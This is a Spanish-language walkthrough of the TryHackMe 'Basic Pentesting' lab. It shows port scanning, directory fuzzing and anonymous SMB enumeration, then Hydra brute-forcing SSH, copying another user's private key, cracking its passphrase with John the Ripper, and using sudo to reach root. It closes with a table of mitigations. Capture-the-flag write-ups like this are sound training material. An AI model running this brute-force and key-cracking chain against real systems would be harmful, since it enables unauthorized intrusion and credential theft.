! xhetic .. /

Basic Pentesting - TryHackMe

xhetic

xhetic

@xhetic

TryHackMeLinuxEasy
Basic Pentesting - TryHackMe

📚 Esta publicación pertenece a la colección:

🚀TryHackMe Labs

Basic Pentesting - TryHackMe Walkthrough

Bienvenido a mi writeup de la máquina Basic Pentesting de TryHackMe.
Una room perfecta para practicar las técnicas más fundamentales del pentesting: enumeración de SMB, fuzzing web, bruteforce de credenciales débiles y crackeo de claves SSH cifradas.

Room: Basic Pentesting
Dificultad: Easy
OS: Linux
Objetivo: Capturar las flags de usuario y root

🎯 Información del Objetivo

IP Target: 10.113.142.253

🔍 Fase 1: Reconocimiento (RECON)

Comprobación de Conectividad

Empiezo verificando que la máquina está activa:

ping -c1 10.113.142.253
  • -c1 → Envía solo 1 paquete ICMP y para (sin -c haría ping indefinido)
▶ output
64 bytes from 10.113.142.253: icmp_seq=1 ttl=62 time=47.9 ms

TTL de 62, lo que me confirma que estamos ante una máquina Linux. El valor original de TTL en Linux es 64; lo recibo con 62 porque ha pasado por 2 saltos de red.

💡 Referencia rápida de TTL:

  • TTL ≈ 64 → Linux/Unix
  • TTL ≈ 128 → Windows
  • TTL ≈ 255 → Cisco/routers

Escaneo de Puertos

Escaneo todos los puertos TCP para descubrir la superficie de ataque:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.113.142.253
  • -p- → Escanea los 65535 puertos TCP
  • --open → Solo muestra puertos con estado abierto
  • -sS → SYN scan (stealth): envía SYN pero no completa el handshake TCP
  • --min-rate 5000 → Mínimo 5000 paquetes por segundo (escaneo rápido)
  • -vvv → Verbose máximo, muestra puertos conforme los descubre
  • -n → Sin resolución DNS (más rápido)
  • -Pn → Sin ping previo, asume que el host está activo
▶ output
PORT     STATE SERVICE      REASON
22/tcp   open  ssh          syn-ack ttl 62
80/tcp   open  http         syn-ack ttl 62
139/tcp  open  netbios-ssn  syn-ack ttl 62
445/tcp  open  microsoft-ds syn-ack ttl 62
8009/tcp open  ajp13        syn-ack ttl 62
8080/tcp open  http-proxy   syn-ack ttl 62

Tengo seis puertos abiertos. SSH, dos servicios web en puertos distintos, SMB y un puerto AJP13 que suele ir acompañado de Apache Tomcat.

Escaneo de Versiones y Scripts

Con los puertos identificados, lanzo un escaneo más específico para obtener versiones y ejecutar los scripts NSE por defecto:

nmap -p22,80,139,445,8009,8080 -sVC 10.113.142.253
  • -p22,80,139,445,8009,8080 → Solo los puertos descubiertos
  • -sV → Detección de versiones de los servicios
  • -sC → Ejecuta los scripts NSE por defecto (equivale a --script=default)

Resultado del escaneo nmap con versiones y scripts

El escaneo me da bastante información:

  • Puerto 22: OpenSSH 8.2p1 Ubuntu
  • Puerto 80: Apache httpd 2.4.41 — la página no tiene título, algo que revisar
  • Puerto 139/445: Samba smbd 4 — posibles recursos compartidos accesibles
  • Puerto 8009: Apache Jserv Protocol v1.3 — conector AJP de Tomcat
  • Puerto 8080: Apache Tomcat 9.0.7 — panel de bienvenida de Tomcat
  • Nombre NetBIOS de la máquina: BASIC2

Tengo bastante superficie de ataque por explorar.

📁 Fase 2: Enumeración

Enumeración Web — Puerto 80

Accedo al puerto 80 en el navegador y veo un mensaje de mantenimiento:

Undergoing maintenance. Please check back later

La página está vacía de contenido, pero reviso el código fuente y encuentro un comentario:

<!-- Check our dev note section if you need to know what to work on. -->

Existe algún apartado interno de notas de desarrollo. No sé su ruta exacta, así que uso dirb para hacer fuzzing y encontrarla:

dirb http://10.113.142.253 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
  • dirb → Herramienta de fuerza bruta de directorios web por diccionario
  • La wordlist de dirbuster directory-list-2.3-small cubre los directorios y rutas más comunes

Rápidamente aparece el directorio /development/.
Al acceder encuentro dos archivos de texto, dev.txt y j.txt.

dev.txt contiene notas internas del equipo de desarrollo:

Contenido de dev.txt en el navegador

Hay dos personas detrás del servidor: alguien que firma como K y alguien que firma como J. Además, Kay menciona estar usando Apache Struts 2.5.12.

j.txt es incluso más interesante:

Contenido de j.txt en el navegador

Kay le dice a J que auditó /etc/shadow y crackeó su hash sin problema. Esto me confirma directamente que el usuario "J" tiene una contraseña débil.

Enumeración Web — Puerto 8080

En el puerto 8080 está la página de bienvenida de Apache Tomcat 9.0.7.

Apache Tomcat 9.0.7 en el puerto 8080

No dispongo de credenciales del panel de administración (/manager/html), así que continúo por otras vías.

Enumeración SMB

Enumero los recursos compartidos SMB usando credenciales nulas:

crackmapexec smb 10.113.142.253 --shares -u '' -p ''
  • smb → Módulo SMB de crackmapexec
  • --shares → Lista los recursos compartidos disponibles
  • -u '' / -p '' → Acceso anónimo sin credenciales

Hay un recurso llamado Anonymous con permisos de lectura. Me conecto con smbclient:

Enumeración SMB con crackmapexec

smbclient //10.113.142.253/Anonymous -N
  • //10.113.142.253/Anonymous → Ruta UNC al recurso compartido
  • -N → Sin contraseña (acceso anónimo)

Dentro hay un único archivo: staff.txt. Lo descargo y lo leo:

Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but this is how mistakes happen. (This means you too, Jan!)

-Kay

Es un mensaje de Kay dirigido al equipo, y menciona expresamente a Jan. Esto me permite confirmar que los dos nombres de usuario del sistema encontrados anteriormente, corresponden a kay y jan.

Con todo lo recopilado, el vector de ataque para continuar va a ser : Jan tiene credenciales débiles (lo confirma j.txt), y el acceso al sistema es vía SSH (puerto 22 abierto).

Por lo que si tengo usuario, protocolo y sé que las credenciales son debiles... toca tumbar la puerta a la fuerza.

🚀 Fase 3: Explotación — Bruteforce SSH

Creo un archivo users.txt con los dos usuarios encontrados:

jan
kay

Y lanzo Hydra contra el servicio SSH:

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://10.113.142.253 -u
  • -L users.txt → Lista de usuarios a probar
  • -P /usr/share/wordlists/rockyou.txt → Wordlist de contraseñas (rockyou, ~14M entradas)
  • ssh://10.113.142.253 → Protocolo y objetivo
  • -u → Itera por todos los usuarios antes de pasar a la siguiente contraseña

Uso -u porque sino Hydra probaría las 14 millones de contraseñas para el usuario jan y posteriormente para kay.

Tras un rato esperando, Hydra encuentra la credencial:

▶ output
[22][ssh] host: 10.113.142.253   login: jan   password: armando

Usuario jan con contraseña armando.

Me conecto por SSH:

ssh jan@10.113.142.253

Accede al servicio SSH del objetivo con las credenciales obtenidas

Estoy dentro como jan.

🖥️ Fase 4: Post-Explotación

Flag de Usuario

Busco y encuentro la primera flag :

cat /home/jan/user.txt

🚩 Flag de usuario capturada!

Exploración del Sistema

Listo los directorios home disponibles para ver qué otros usuarios hay:

ls /home

Lista los directorios home de todos los usuarios del sistema

▶ output
jan  kay

Me muevo al directorio de kay para ver qué hay:

ls -la /home/kay
  • -l → Formato largo con permisos, propietario y tamaño
  • -a → Incluye archivos y directorios ocultos (con punto)
▶ output
-rw------- 1 kay kay  pass.bak
drwxr-xr-x 2 kay kay  .ssh
...

Dos elementos interesantes: pass.bak (backup de credenciales) y el directorio .ssh.

El archivo pass.bak tiene permisos de lectura solo para kay, así que no puedo leerlo aún. Pero el directorio .ssh sí es accesible:

ls -la /home/kay/.ssh

Lista el contenido del directorio SSH privado de kay

▶ output
-rw------- 1 kay kay id_rsa
-rw-r--r-- 1 kay kay id_rsa.pub

Hay una clave SSH privada (id_rsa) a la cual tengo permisos de lectura. Visualizo su contenido:

cat /home/kay/.ssh/id_rsa

Muestra la clave privada de kay para copiarla manualmente a mi equipo

Guardo el contenido en un archivo id_rsa en mi máquina e intento usarlo:

ssh -i id_rsa kay@10.113.142.253
  • -i id_rsa → Usa el archivo de clave privada especificado para autenticarse

La conexión da erorr porque para mi sorpresa, me pide una contraseña la cual no tengo.

Revisando el encabezado del archivo id_rsa veo:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75
...

La clave está cifrada con AES-128-CBC y para usarla necesito saber la contraseña.

Voy crackear la passphrase para obtener la contraseña con JohnTheRipper.

⬆️ Fase 5: Escalada de Privilegios

Crackeo de la Clave SSH con John the Ripper

Primero convierto el archivo id_rsa al formato de hash que John entiende:

/usr/share/john/ssh2john.py id_rsa > id_rsa.hash
  • ssh2john.py → Extrae el hash de la passphrase de una clave SSH cifrada
  • > id_rsa.hash → Redirige la salida al archivo que usará John

Ahora ejecuto John con la wordlist de rockyou:

john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
  • --wordlist → Especifica la wordlist de contraseñas a probar contra el hash
  • id_rsa.hash → El hash generado por ssh2john
▶ output
beeswax          (id_rsa)

La passphrase es beeswax. Crackeada de forma casi instantánea.

Acceso como Kay

Me conecto de nuevo con la clave privada, esta vez dando la passphrase cuando la pide:

ssh -i id_rsa kay@10.113.142.253

Al solicitar la passphrase, introduzco beeswax

Estoy dentro como kay. Ahora sí puedo leer el pass.bak que antes no podía:

cat pass.bak

Lee el backup de contraseñas en el home de kay

▶ output
heresareallystrongpasswordthatfollowsthepasswordpolicy$$

Ya tengo la contraseña "super segura" de kay. Ahora escalo privilegios y salto al usuario kay:

su kay
  • su → Diminutivo de "Switch User" que en Español es literalmente "Cambio de usuario"

Cuando me pide contraseña especifico la extraida de pass.bak

Una vez como usuario Kay, verifico sus permisos sudo:

sudo -l

Lista los comandos que el usuario actual puede ejecutar con privilegios de root

Salida de sudo -l mostrando (ALL : ALL) ALL

(ALL : ALL) ALL — kay puede ejecutar cualquier comando como root sin ninguna restricción. Escalo directamente:

sudo su

Abre una shell como root usando los permisos sudo de kay

▶ output
root@ip-10-113-142-253:~#

¡Root! 🎉

🚩 Flag de Root

Busco la flag de root :

cat /root/root.txt

🚩 Flag de root capturada!

📊 Resumen

Cadena de Ataque

SMB Anónimo → staff.txt (usuarios) → /development/ → j.txt (contraseña débil) → Hydra SSH → jan → id_rsa cifrado → John the Ripper → kay → sudo (ALL:ALL) → Root

Herramientas Utilizadas

  • nmap — Reconocimiento de puertos y servicios
  • crackmapexec — Enumeración de recursos SMB
  • smbclient — Acceso y descarga desde el recurso compartido SMB
  • dirb — Fuzzing de directorios web
  • hydra — Bruteforce de credenciales SSH
  • John the Ripper — Crackeo de la passphrase de la clave SSH cifrada

🛡️ Vulnerabilidades y Mitigaciones

VulnerabilidadSeveridadMitigación
SMB con acceso anónimo expone información internaALTADeshabilitar acceso anónimo en Samba
Contraseña débil del usuario janCRÍTICAAplicar política de contraseñas robustas y obligar rotación periódica
Archivos de desarrollo con datos sensibles expuestos en webALTANunca exponer directorios internos en entornos de producción
Passphrase débil en clave SSH cifradaALTAUsar passphrases largas y que no aparezcan en diccionarios comunes
Usuario kay con sudo irrestricto (ALL : ALL) ALLCRÍTICAAplicar principio de mínimo privilegio en /etc/sudoers

📚 Referencias

🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.

Happy Hacking! 🎩🔐

Sigueme en TryHackMe :

Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.

Ver todas las entradas